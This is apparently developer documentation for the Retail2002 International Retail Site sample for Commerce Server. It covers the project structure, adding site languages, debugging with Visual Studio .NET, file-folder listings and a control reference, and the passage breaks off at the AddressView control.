Main Page Schematic

With the "skin" applied, it looks like this:

Retail2002 Main Page With Skin

Site Navigation Framework

A well-designed site is structured so that a user can easily understand it. As you add features to your site you will need to consider how to make them discoverable and easy to use.

The following figure shows the International Retail Site navigational framework.

Retail2002 Site Navigation Framework


Source Code Roadmap

This topic describes the various projects that make up the International Retail Site, and provides information to help you find the site source code that you want to examine.

Using the Visual Studio solution file in the site, you can browse the entire site and source code from within Visual Studio. See Setting up the International Retail Site with Visual Studio .NET for information about opening the solution file.

There are ten projects in the International Retail Site. Most of the projects are for related groups of controls. See Control Reference for descriptions of the controls.

The projects are:

  • Account Management Controls. This project contains controls used for displaying and editing user information.
  • Authentication Controls. This project contains the signin and SignInLink controls, used for sign in and sign out functionality.
  • Campaign Controls. This project contains the ContentItemControl control, used for ads and discounts.
  • Catalogs CS Controls. This project contains the VariantDisplay control, used for the selection of product variants.
  • Catalogs VB Controls. This project contains all the catalog controls except for the VariantDisplay control. These controls are used for finding and displaying product information.
  • Components. This project contains the source code for the compiled assemblies.
  • Constants. This project contains the Strings.vb file that defines the constants for the solution.
  • Miscellaneous Controls. This project contains the controls for the site as a whole, such as header and composite controls that are used to simplify building a page.
  • Retail2002. This is the primary project. It contains all the .aspx pages, the associated codebehind pages, and site configuration files.
  • Transaction Controls. This project contains controls used for cart and checkout functionality.

You use the Solution Explorer in Visual Studio to view all of the source code in the solution. To view the codebehind for any .aspx or .ascx files, right-click the file name, and then click View Source.

You use the ObjectBrowser in Visual Studio to view all the methods and properties relating to the objects in the solution.


Adding a Language to the Site

When you add a language to the site you will need to perform a few separate tasks. You will need to add a localized resource assembly for all the text strings on the site. You will need to extend the locale selection page so that a user can select the additional language. If your site contains images with text, such as the CompanyLogo.jpg file, you will need to create localized versions of those files. For more information about localized images, see Retail2002\Images Folder. Adding a language to a catalog is done through Commerce Server Business Desk, and is distinct from the site languages. For more information about managing languages in a catalog, see Creating a Multilingual Catalog.

The following procedure describes how to extend the locale selection page and add localized string resources to the site.

To add a new language to the International Retail Site

  1. Add an image for new language or culture to the Retail2002\Images folder. The image file should be the same size as the existing welcome images.
  2. Add an asp:LinkButton Web server control to the LocaleSelection Control.
  3. Modify the styles.css file to support the new asp:LinkButton Web server control and image.
  4. Add the localized satellite resource assembly.
  5. Add a reference to the satellite assembly to the MessageManager, Cultures section in the web.config file.


Debugging the Site

The Visual Studio .NET debugger has the ability to attach to a program that is running in a process outside of Visual Studio .NET. You can use this attachment capability to debug a program running on a remote computer. Whether debugging on a remote or local computer, you must attach Visual Studio to the ASP.NET process to debug the site.

To enable debugging on the International Retail Site

  • Verify that the site is in debug mode. The application element in the web.config file should be: <application siteName="Retail2002" debugLevel="Debug"/>

To attach the Visual Studio debugger to the site

  1. Open Internet Explorer.
  2. In Internet Explorer, in the Address box, type the URL for the site, and then press Enter.
  3. Start Visual Studio .NET.
  4. In Visual Studio .NET, on the Tools menu, click Debug Processes.
  5. In the Process dialog box, if necessary, click the [...] ellipses button to browse to the remote server.
  6. In the Available Processes list, select aspnet_wp.exe, and then click Attach.

Note

  • The source code must be available on the local computer in order to debug the site code.

For more information about debugging ASP.NET Web applications, see "Debugging ASP.NET Web Applications" in Visual Studio Help.


Retail2002: International Retail Site Reference

This section provides reference information for the International Retail site.

This section contains:

  • File Organization. Describes the file structure of the International Retail site and the B2B web service.
  • Control Reference. Describes the controls in the site.


File Organization

This section documents the file structure of the International Retail Site. The main Web page files are in the root folder of the site and supporting page files are in subfolders.

This section contains:

  • Retail2002 Root Folder. This folder contains the user interface/markup and codebehind files, configuration files, and Visual Studio .NET solution and project files.
  • Retail2002\AuthFiles Folder. This folder contains ASP files used for user authorization.
  • Retail2002\Bin Folder . This folder contains compiled assemblies and localized resources.
  • Retail2002\Components Folder. This folder contains source code for the components.
  • Retail2002\Controls Folder. This folder contains the .ascx and codebehind files for the controls and Visual Studio .NET project files.
  • Retail2002\Images Folder. This folder contains images of user interface elements and the Styles.css file that controls site appearance.
  • Retail2002\Pipelines Folder. This folder contains the pipeline configuration files.
  • Retail2002\Resources Folder. This folder contains string resource files.
  • Retail2002B2B Root Folder. This folder contains files for the business-to-business (B2B) Web service.


Retail2002 Root Folder

This folder contains the user interface/markup (.aspx) files and their associated codebehind files. It also contains configuration files and the Visual Studio .NET solution and project files.

The following table lists the files contained in the Retail2002 Root folder.

File | Description
AdvancedSearch.aspx | Web form.
AdvancedSearch.aspx.vb | Visual Basic Source.
AssemblyInfo.vb | Visual Basic Source.
Basket.aspx | Web form.
Basket.aspx.vb | Visual Basic Source.
BasketMerger.vb | Visual Basic Source.
BDRefresh.asp | Active Server Page file. Business Desk Refresh page.
BDRefresh.aspx | Web form. Business Desk Refresh form.
BDRefresh.aspx.vb | Visual Basic Source.
Catalog.aspx | Web form.
Catalog.aspx.vb | Visual Basic Source.
CatalogBase.vb | Visual Basic Source.
Category.aspx | Web form.
Category.aspx.vb | Visual Basic Source.
Checkout.aspx | Web form.
Checkout.aspx.vb | Visual Basic Source.
csapp.ini | Configuration settings.
Customerror.aspx | Web form.
Customerror.aspx.vb | Visual Basic Source.
Default.aspx | Default Web form.
Default.aspx.vb | Visual Basic Source.
EditAddress.aspx | Web form.
EditAddress.aspx.vb | Visual Basic Source.
global.asax | Active Server Application File. Site configuration and initialization.
global.asax.vb | Visual Basic Source.
LocaleSelection.aspx | Web form.
LocaleSelection.aspx.vb | Visual Basic Source.
Login.aspx | Web form.
Login.aspx.vb | Visual Basic Source.
Logout.aspx | Web form.
Logout.aspx.vb | Visual Basic Source.
ManageAddresses.aspx | Web form.
ManageAddresses.aspx.vb | Visual Basic Source.
MultipleShiptoSelect.aspx | Web form.
MultipleShiptoSelect.aspx.vb | Visual Basic Source.
MyAccount.aspx | Web form.
MyAccount.aspx.vb | Visual Basic Source.
NewAccount.aspx | Web form.
NewAccount.aspx.vb | Visual Basic Source.
NewAddress.aspx | Web form.
NewAddress.aspx.vb | Visual Basic Source.
Notfound.aspx | Web form.
Notfound.aspx.vb | Visual Basic Source.
PaymentOption.aspx | Web form.
PaymentOption.aspx.vb | Visual Basic Source.
PaymentSelect.aspx | Web form.
PaymentSelect.aspx.vb | Visual Basic Source.
ProductDetails.aspx | Web form.
ProductDetails.aspx.vb | Visual Basic Source.
ProjectResources.en-US.resx | .NET XML Resource Template.
ProjectResources.resx | .NET XML Resource Template.
Receipt.aspx | Web form.
Receipt.aspx.vb | Visual Basic Source.
Redir.aspx | Web form.
Redir.aspx.vb | Visual Basic Source.
RefreshApp.asp | Active Server Page file.
RefreshApp.aspx | Web form.
RefreshApp.aspx.vb | Visual Basic Source.
Retail2002.sln | Visual Studio Solution file
Retail2002.vbproj | Visual Basic .NET project file
Retail2002.vbproj.webinfo | Webinfo file.
SampleStaticTextPage.aspx | Web form.
SampleStaticTextPage.aspx.vb | Visual Basic Source.
SearchResults.aspx | Web form.
SearchResults.aspx.vb | Visual Basic Source.
web.config | Web configuration file.


Retail2002\AuthFiles Folder

This folder contains ASP files for user authentication. The following table lists the files contained in the AuthFiles folder.

File | Description
autocookie.asp | Active Server Page file.
error.asp | Active Server Page file.
help.asp | Active Server Page file.
interror.asp | Active Server Page file.
Login.asp | Active Server Page file.
nocookie.asp | Active Server Page file.


Retail2002\Bin Folder

This folder contains compiled assemblies and localized resources. It contains the following four subfolders for localized resources:

  • ja
  • fr
  • de
  • en-US

Each folder contains a localized version of the same file, Microsoft.CommerceServer.Retail2002.resources.dll.

The following table lists the files contained in the Bin folder.

File | Description
Microsoft.CommerceServer.Retail2002.Accounts.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Accounts.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Authentication.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Authentication.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Campaign.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Campaign.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Catalogs.cs.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Catalogs.cs.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Catalogs.vb.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Catalogs.vb.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Components.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Components.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Constants.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Constants.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Miscellaneous.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Miscellaneous.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Transactions.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Transactions.pdb | Program Debug Database.


Retail2002\Components Folder

This folder contains source code for the components and subfolders for the Visual Studio. NET project. The components provide business logic and application functionality, but not the user interface for the site.

The following table lists the files contained in the Components folder.

File | Description
Components.csproj | C# project file.
Components.csproj.user | Visual Studio Project User Options.
AssemblyInfo.cs | C# source file.
AccountManager.cs | C# source file.
Ado.cs | C# source file.
application.cs | C# source file.
CountryInfo.cs | C# source file.
CurrencyInfo.cs | C# source file.
DataWarehouseLogging.cs | C# source file.


Retail2002\Controls Folder

This folder contains source code for the controls used on the site. Related controls are grouped into projects. Each project is in a separate subfolder. Each Visual Studio project has typical project-related subfolders.

Retail2002\Controls\Accounts Folder

This subfolder contains the project files for the Accounts controls. The following table lists the files contained in this subfolder.

File | Description
Account Management Controls.csproj | C# project file.
Account Management Controls.csproj.user | Visual Studio Project User Options.
AssemblyInfo.cs | C# source file.
AccountLayout.cs | C# source file.
AddressEdit.ascx | Web User Control.
AddressEdit.ascx.cs | C# source file.
AddressView.ascx | Web User Control.
AddressView.ascx.cs | C# source file.
CountrySelector.ascx.cs | C# source file.
CreditCardedit.ascx | Web User Control.
CreditCardedit.ascx.cs | C# source file.
CreditCardList.ascx.cs | C# source file.
CreditCardSelector.ascx | Web User Control.
CreditCardSelector.ascx.cs | C# source file.
FrameControl.ascx.cs | C# source file.
MyAccount.ascx | Web User Control.
MyAccount.ascx.cs | C# source file.
Navigation.ascx | Web User Control.
Navigation.ascx.cs | C# source file.
NewAccount.ascx | Web User Control.
NewAccount.ascx.cs | C# source file.
StateSelector.ascx.cs | C# source file.
WelcomeUser.cs | C# source file.

Retail2002\Controls\Authentication Folder

This subfolder contains the project files for the Authentication controls. The following table lists the files contained in this subfolder.

File | Description
Authentication Controls.csproj | C# project file.
Authentication Controls.csproj.user | Visual Studio Project User Options.
AssemblyInfo.vb | Visual Basic Source file.
signin.ascx | Web User Control.
SignIn.ascx.cs | C# source file.
SignInLink.ascx | Web User Control.
SignInLink.ascx.cs | C# source file.

Retail2002\Controls\Campaign Folder

This subfolder contains the project files for the Campaign controls. The following table lists the files contained in this subfolder.

File | Description
Campaign Controls.vbproj | Visual Basic .NET project file.
Campaign Controls.vbproj.user | Visual Studio Project User Options.
assemblyinfo.vb | Visual Basic Source file.
ContentItem.vb | Visual Basic Source file.

Retail2002\Controls\Catalogs\cs Folder

This subfolder contains the C# project files for the Catalog VariantDisplay control. The following table lists the files contained in this subfolder.

File | Description
Catalogs CS Controls.csproj | C# project file.
Catalogs CS Controls.csproj.user | Visual Studio Project User Options.
VariantDisplay.ascx | Web User Control.
VariantDisplay.ascx.cs | C# source file.

Retail2002\Controls\Catalogs\vb Folder

This subfolder contains the Visual Basic .NET project files for the Catalog controls. The following table lists the files contained in this subfolder.

File | Description
Catalogs VB Controls.vbproj | Visual Basic .NET project file.
Catalogs VB Controls.vbproj.user | Visual Studio Project User Options.
AssemblyInfo.vb | Visual Basic Source file.
CatalogShared.vb | Visual Basic Source file.
_CatalogBrowser.ascx | Web User Control.
_CatalogBrowser.ascx.vb | Visual Basic Source file.
_CatalogNavigationTabs.ascx | Web User Control.
_CatalogNavigationTabs.ascx.vb | Visual Basic Source file.
_CatalogSearch.ascx | Web User Control.
_CatalogSearch.ascx.vb | Visual Basic Source file.
_ProductsList.ascx | Web User Control.
_ProductsList.ascx.vb | Visual Basic Source file.
AdvancedSearch.ascx | Web User Control.
AdvancedSearch.ascx.vb | Visual Basic Source file.

Retail2002\Controls\Miscellaneous Folder

This subfolder contains the project files for the miscellaneous controls. The following table lists the files contained in this subfolder.

File | Description
Miscellaneous Controls.vbproj | Visual Basic .NET project file.
Miscellaneous Controls.vbproj.user | Visual Studio Project User Options.
CompanyLogo.ascx | Web User Control.
CompanyLogo.ascx.vb | Visual Basic Source file.
CompositeHeader1.ascx | Web User Control.
CompositeHeader1.ascx.vb | Visual Basic Source file.
CompositeHeader2.ascx | Web User Control.
CompositeHeader2.ascx.vb | Visual Basic Source file.
CompositeHeader3.ascx | Web User Control.
CompositeHeader3.ascx.vb | Visual Basic Source file.
LocaleSelection.ascx | Web User Control.
LocaleSelection.ascx.vb | Visual Basic Source file.
LogoHeader.ascx | Web User Control.
LogoHeader.ascx.vb | Visual Basic Source file.
PageBottom.ascx | Web User Control.
PageBottom.ascx.vb | Visual Basic Source file.
TopLinks.ascx | Web User Control.
TopLinks.ascx.vb | Visual Basic Source file.

Retail2002\Controls\Transactions Folder

This subfolder contains the project files for the Transaction controls. The following table lists the files contained in this subfolder.

File | Description
Transaction Controls.vbproj | Visual Basic .NET project file.
Transaction Controls.vbproj.user | Visual Studio Project User Options.
AssemblyInfo.vb | Visual Basic Source file.
TxContext.vb | Visual Basic Source file.
AddToCart.ascx | Web User Control.
AddToCart.ascx.vb | Visual Basic Source file.
Cart.ascx | Web User Control.
Cart.ascx.vb | Visual Basic Source file.
CheckoutLink.ascx | Web User Control.
CheckoutLink.ascx.vb | Visual Basic Source file.
CurrencyConverter.ascx | Web User Control.
CurrencyConverter.ascx.vb | Visual Basic Source file.
MultipleShiptoSelector.ascx | Web User Control.
MultipleShiptoSelector.ascx.vb | Visual Basic Source file.
OrderPayment.ascx | Web User Control.
OrderPayment.ascx.vb | Visual Basic Source file.
OrderReceipt.ascx | Web User Control.
OrderReceipt.ascx.vb | Visual Basic Source file.
OrderShipment.ascx | Web User Control.
OrderShipment.ascx.vb | Visual Basic Source file.
OrderTotals.ascx | Web User Control.
OrderTotals.ascx.vb | Visual Basic Source file.
ShipMethodSelector.ascx | Web User Control.
ShipMethodSelector.ascx.vb | Visual Basic Source file.


Retail2002\Images Folder

This folder contains the image files for the user interface of the site. The Styles.css file largely controls the appearance of the site. This file describes the usage of most of the image files in the site.

Non-localized images for the default site language are in this folder. Localized images are in subfolders named with the applicable culture code. The International Retail Site has folders for the following languages:

  • fr-FR
  • en-US
  • ja-JP

Each folder contains localized versions of the same files:

File | Description
CompanyLogo.jpg | User interface element image.
LogoHeader.jpg | User interface element image.

Note

  • The English version of the logo is correct for German, so no localized version of it is required.

The sample catalog for the site expects to find image files in the Retail2002.Images.Catalog folder. The catalog image files are not included in the site pup file. See Setting up the International Retail Site for details about importing the catalog images.

The following table lists the files contained in the Images folder.

File | Description
Styles.css | Cascading style sheet for the site.
AdBanner.gif | Sample ad
AdButton.jpg | Sample ad
VertAdBanner.gif | Sample ad
Passport_Signin.gif | Passport sign in button
Passport_signout.gif | Passport sign out button
CanEngWelcome.gif | Canadian-English welcome flag for the local selection page.
CanFrnWelcome.gif | Canadian-French welcome flag for the local selection page.
FrnWelcome.gif | French welcome flag for the local selection page.
GermanWelcome.gif | German welcome flag for the local selection page.
JapanWelcome.gif | Japanese welcome flag for the local selection page.
USAwelcome.gif | USA-English welcome flag for the local selection page.
BoxDrk_LL.gif | User interface element image.
BoxDrk_LR.gif | User interface element image.
BoxDrk_Tab1.gif | User interface element image.
BoxDrk_Top2.gif | User interface element image.
BoxDrk_Top3.gif | User interface element image.
BoxDrk_UR.gif | User interface element image.
BoxDrk_VLB.gif | User interface element image.
BoxDrk_VLL.gif | User interface element image.
BoxDrk_VLR.gif | User interface element image.
BoxDrk_VLT.gif | User interface element image.
BoxLt_Btm.gif | User interface element image.
BoxLt_L.gif | User interface element image.
BoxLt_LL.gif | User interface element image.
BoxLt_LR.gif | User interface element image.
BoxLt_R.gif | User interface element image.
BoxLt_Top.gif | User interface element image.
BoxLt_Top1.gif | User interface element image.
BoxLt_Top2.gif | User interface element image.
BoxLt_Top3.gif | User interface element image.
BoxLt_UR.gif | User interface element image.
BtnLT_L.gif | User interface element image.
BtnLT_M.gif | User interface element image.
BtnLT_R.gif | User interface element image.
Button_L.gif | User interface element image.
Button_M.gif | User interface element image.
Button_R.gif | User interface element image.
ButtonDrk_L01.gif | User interface element image.
ButtonDrk_M.gif | User interface element image.
ButtonDrk_R.gif | User interface element image.
CompanyLogo.jpg | User interface element image.
DarkBkg.jpg | User interface element image.
LeftColumn.jpg | User interface element image.
LeftGradient.jpg | User interface element image.
RoundedCorner.gif | User interface element image.
RoundedCorner.jpg | User interface element image.
Star_0.gif | User interface element image.
Star_1.gif | User interface element image.
TabBKG.jpg | User interface element image.
TabDrk_1.gif | User interface element image.
TabDrk_2.gif | User interface element image.
TabDrk_3.gif | User interface element image.
TabLT_1.gif | User interface element image.
TabLT_2.gif | User interface element image.
TabLT_3.gif | User interface element image.


Retail2002\Pipelines Folder

This folder contains the pipeline configuration files for the site. The following table lists the files contained in the Pipelines folder.

File | Description
Advertising.PCF | Pipeline configuration file.
basket.pcf | Pipeline configuration file.
checkout.pcf | Pipeline configuration file.
Discounts.PCF | Pipeline configuration file.
product.pcf | Pipeline configuration file.
RecordEvent.pcf | Pipeline configuration file.
recvpo.pcf | Pipeline configuration file.
total.pcf | Pipeline configuration file.


Retail2002\Resources Folder

This folder contains subfolders for each language supported by the site. The Resources folder contains the following subfolders:

  • de
  • fr
  • ja

Each subfolder contains a localized copy of the Microsoft.CommerceServer.Retail2002.resources.dll file.

These files contain localized string resources for the display of text on the site.


Retail2002B2B Root Folder

This folder contains the B2B Web service. See BizTalk Integration Features for more information.

This folder contains only the Retail2002B2B\B2BAdaptors subfolder.


Retail2002B2B\B2BAdaptors Folder

This folder contains the Visual Studio .NET solution file for the B2B Web service, B2B Adaptors.sln, and the subfolders for the individual adapters:

  • B2BAdaptors\CatalogAdaptor Folder
  • B2BAdaptors\OrderAdaptor Folder
  • B2BAdaptors\OrderStatusAdaptor Folder


B2BAdaptors\CatalogAdaptor Folder

The catalog adapter has two components in separate projects contained in the following subfolders:

  • ReceiveCatalog Subfolder
  • UpdateCatalog Subfolder

ReceiveCatalog Subfolder

The following table lists the files contained in this subfolder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
recCat.aspx | Web form.
recCat.aspx.resx | .NET XML Resource Template.
recCat.aspx.vb | Visual Basic Source.
ReceiveCatalog.vbproj | Visual Basic Project File.
ReceiveCatalog.vbproj.webinfo | WEBINFO File.
ReceiveCatalog.vsdisco | Web Service Dynamic Discovery File.
Styles.css | Cascading Style Sheet Document.
Web.config | Web Configuration File.

ReceiveCatalog\Bin Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.B2Badaptors.ReceiveCatalog.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badaptors.ReceiveCatalog.pdb | Program Debug Database.

ReceiveCatalog\Setup Subfolder

File | Description
ReceiveCatalogSetup.vbs | VBScript Script File.

UpdateCatalog Subfolder

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
recCatalog.aspx | Web form.
recCatalog.aspx.resx | .NET XML Resource Template.
recCatalog.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
UpdateCatalog.vbproj | Visual Basic Project File.
UpdateCatalog.vbproj.webinfo | WEBINFO File.
UpdateCatalog.vsdisco | Web Service Dynamic Discovery File.
Web.config | Web Configuration File.

UpdateCatalog/Bin Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.B2Badaptors.UpdateCatalog.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badaptors.UpdateCatalog.pdb | Program Debug Database.

BizTalk\Schedules Subfolder

File | Description
ReceiveCatalog.skv | SKV Document.
ReceiveCatalog.skx | SKX Document.
ReceiveCatalogExample.skv | SKV Document.
ReceiveCatalogExample.skx | SKX Document.

BizTalk\Setup Subfolder

File | Description
UpdateCatalogSetup.vbs | VBScript Script File.


B2BAdaptors\OrderAdaptor Folder

The order adaptor has two components in separate projects contained in the following subfolders:

  • OrderAdaptor\Receive Subfolder
  • OrderAdaptor\Send Subfolder

OrderAdaptor\Receive Subfolder

The Receive subfolder contains the following subfolders:

  • ReceiveOrder Subfolder
  • UpdateOrder Subfolder

ReceiveOrder Subfolder

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
ReceiveOrder.vbproj | Visual Basic Project File.
ReceiveOrder.vbproj.webinfo | WEBINFO File.
ReceiveOrder.vsdisco | Web Service Dynamic Discovery File.
recOrders.aspx | Web form.
recOrders.aspx.resx | .NET XML Resource Template.
recOrders.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

ReceiveOrder\Bin Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.B2Badaptors.ReceiveOrder.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badaptors.ReceiveOrder.pdb | Program Debug Database.

ReceiveOrder\Setup Subfolder

File | Description
ReceiveOrderSetup.vbs | VBScript Script File.

UpdateOrder Subfolder

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
poschema.xml | XML Document.
ReceivePO.vsdisco | Web Service Dynamic Discovery File.
recvpo.aspx | Web form.
recvpo.aspx.resx | .NET XML Resource Template.
recvpo.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
UpdateOrder.vbproj | Visual Basic Project File.
UpdateOrder.vbproj.webinfo | WEBINFO File.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

UpdateOrder\Bin Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.B2Badaptors.UpdateOrder.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badaptors.UpdateOrder.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.pdb | Program Debug Database.

UpdateOrder\Bin\en-US Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.resources.dll | Application Extension.

UpdateOrder\BizTalk Subfolder

The UpdateOrder\BizTalk folder contains only the following subfolders:

UpdateOrder\BizTalk\DocDef Subfolder

File | Description
POSchema.xml | XML Document

UpdateOrder\BizTalk\Schedules Subfolder

File | Description
ReceivePurchaseOrder.skv | SKV Document.
ReceivePurchaseOrder.skx | SKX Document.

UpdateOrder\BizTalk\Setup Subfolder

File | Description
UpdateOrderSetup.vbs | VBScript Script File.

UpdateOrder\Pipelines Subfolder

File | Description
recvpo.pcf | Pipeline Configuration File.

OrderAdaptor\Send Subfolder

The Send subfolder contains only the following subfolder:

OrderAdaptor\Send\BizTalk

The BizTalk subfolder contains the following subfolders:

BizTalk\DocDef

File | Description
POSchema.xml | XML Document.

BizTalk\Schedules

File | Description
SendPurchaseOrder.skv | SKV Document.
SendPurchaseOrder.skx | SKX Document.

BizTalk\Setup

File | Description
SendOrdersSetup.vbs | VBScript Script File.


B2BAdaptors\OrderStatusAdaptor Folder

The OrderStatusAdaptor subfolder contains the following subfolders:

  • ReceiveOrderStatus Subfolder
  • UpdateOrderStatus Subfolder

OrderStatusAdaptor\ReceiveOrderStatus

The following table lists the files contained in this subfolder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
PostStatus.vsdisco | Web Service Dynamic Discovery File.
ReceiveStatus.vbproj | Visual Basic Project File.
ReceiveStatus.vbproj.webinfo | WEBINFO File.
recPOS.aspx | Active Server Application File. Site configuration and initialization.
recPOS.aspx.resx | Resource
recPOS.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

ReceiveOrderStatus\Bin

File | Description
Microsoft.CommerceServer.Retail2002.B2Badaptors.PostStatus.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badaptors.PostStatus.pdb | Program Debug Database.

ReceiveOrderStatus\Setup

File | Description
ReceiveOrderStatusSetup.vbs | VBScript Script File.

OrderStatusAdaptor\UpdateOrderStatus

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
recorderstatus.aspx | Web form.
recorderstatus.aspx.resx | .NET XML Resource Template.
recorderstatus.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
UpdateStatus.vbproj | Visual Basic Project File.
UpdateStatus.vbproj.webinfo | WEBINFO File.
UpdateStatus.vsdisco | Web Service Dynamic Discovery File.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

UpdateOrderStatus\Bin

File | Description
Microsoft.CommerceServer.Retail2002.B2Badaptors.UpdateStatus.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badaptors.UpdateStatus.pdb | Program Debug Database.

UpdateOrderStatus\BizTalk

The BizTalk subfolder contains the following subfolders:

UpdateOrderStatus\BizTalk\DocDef

File | Description
AFS_OStatus_Schema.xml | XML Document.

UpdateOrderStatus\BizTalk\Schedules

File | Description
ReceiveOrderStatus.skv | SKV Document.
ReceiveOrderStatus.skx | SKX Document.

UpdateOrderStatus\BizTalk\Setup

File | Description
UpdateOrderStatusSetup.vbs | VBScript Script File.


Control Reference

This section contains reference pages for the controls in the International Retail Site. The following tables group the controls by related function.

Accounts controls

Control | Description
AccountLayout | Determines account management layout.
Addressedit | Enables the user to edit address data.
AddressView | Displays address data.
CountrySelector | Enables country/region selection.
CreditCardSelector | Enables the user to edit credit card data.
CreditCardEdit | Enables the user to select a credit card for payment.
CreditCardList | Enables the user to select a credit card to edit.
FrameControl | Provides a frame user interface element.
MyAccount | Displays user profile data and allows the user to edit the data.
Navigation | Displays a list of customized links.
NewAccount | Displays the controls necessary for creating a new (site user) account.
StateSelectorControl | Enables the user to select a state.
WelcomeUserControl | Welcomes the user by name.

Authorization controls

Control | Description
signin | Provides a sign-in form for the user to sign in.
SignInLink | Displays a sign-in or sign-out link.

Campaign controls

Control | Description
ContentItemControl | Displays ads and other content from the Content Selection Framework.

Catalogs controls

Control | Description
AdvancedSearch | Provides advanced search options.
Browser | Used for catalog and category navigation.
NavigationTabs | Displays navigation tabs.
ProductList | Displays a list of products in catalog/category.
Search | Used for keyword search within a catalog or all catalogs.
VariantDisplay | Displays variant options for user selection.

Miscellaneous controls

Control | Description
CompanyLogo | Displays the company logo on page headers.
CompositeHeader1 | Composite header control, used for grouping controls.
CompositeHeader2 | Composite header control, used for grouping controls.
CompositeHeader3 | Composite header control, used for grouping controls.
LocaleSelection | Encapsulates the functionality of the country/region and language selection on the LocaleSelection page.
LogoHeader | Encapsulates the company header.
PageBottom | Encapsulates links to static pages and the page footer.
TopLinks | Encapsulates links and the checkout button.

Transactions controls

Control | Description
AddToCart | Displays a button, which redirects control to the Cart page when clicked.
Cart | Renders the current list of products added to the shopping cart.
CheckoutLink | Displays a button, which redirects to the checkout page.
CurrencyConverterControl | Encapsulates currency conversion logic.
MultipleShiptoSelector | Allows the user to configure multiple shipments.
OrderPayment | Renders payment related information.
OrderReceipt | Displays the result of running the Checkout pipeline.
OrderShipment | Renders shipment related information.
OrderTotals | Renders order totals.
ShipMethodSelector | Encapsulates a drop-down selection box, which allows the user to select a shipment method/option.


Accounts Controls

This section contains reference pages for the user accounts controls.

Accounts Controls

Control | Description
AccountLayout | Determines account management layout.
AddressEdit | Enables the user to edit address data.
AddressView | Displays address data.
CountrySelector | Enables country/region selection.
CreditCardEdit | Enables the user to edit credit card data.
CreditCardList | Enables the user to select a credit card for payment.
CreditCardSelector | Enables the user to select a credit card to edit.
FrameControl | Provides a frame user interface element.
MyAccount | Displays user profile data and allows the user to edit the data.
Navigation | Displays a list of customized links.
NewAccount | Displays the controls necessary for creating a new (site user) account.
StateSelectorControl | Enables the user to select a state.
WelcomeUserControl | Welcomes the user by name.


AccountLayout Control

Determines account management layout.

Control Information | Location
Class Name | AccountLayout
Source | AccountLayout.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • AddressEdit
  • AddressView
  • CreditCardedit
  • MyAccount


AddressEdit Control

Enables the user to edit address data.

Control Information | Location
Web User Control | AddressEdit.ascx
Codebehind | AddressEdit.ascx.cs Inherits Microsoft.CommerceServer.Site.Accounts.AddressEditControl
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • EditAddress.aspx.vb
  • ManageAddresses.aspx
  • NewAddress.aspx

Controls

  • AddressEdit.ascx
  • AddressEdit.ascx.cs
  • NewAccount.ascx.cs


AddressView Control

Displays address data.

Control Information | Location
Web User Control |  | AddressView.ascx Inherits Microsoft.CommerceServer.Site.AddressViewControl
Codebehind |  | AddressView.ascx.cs
Project File |  | Accounts\Account Management Controls.csproj
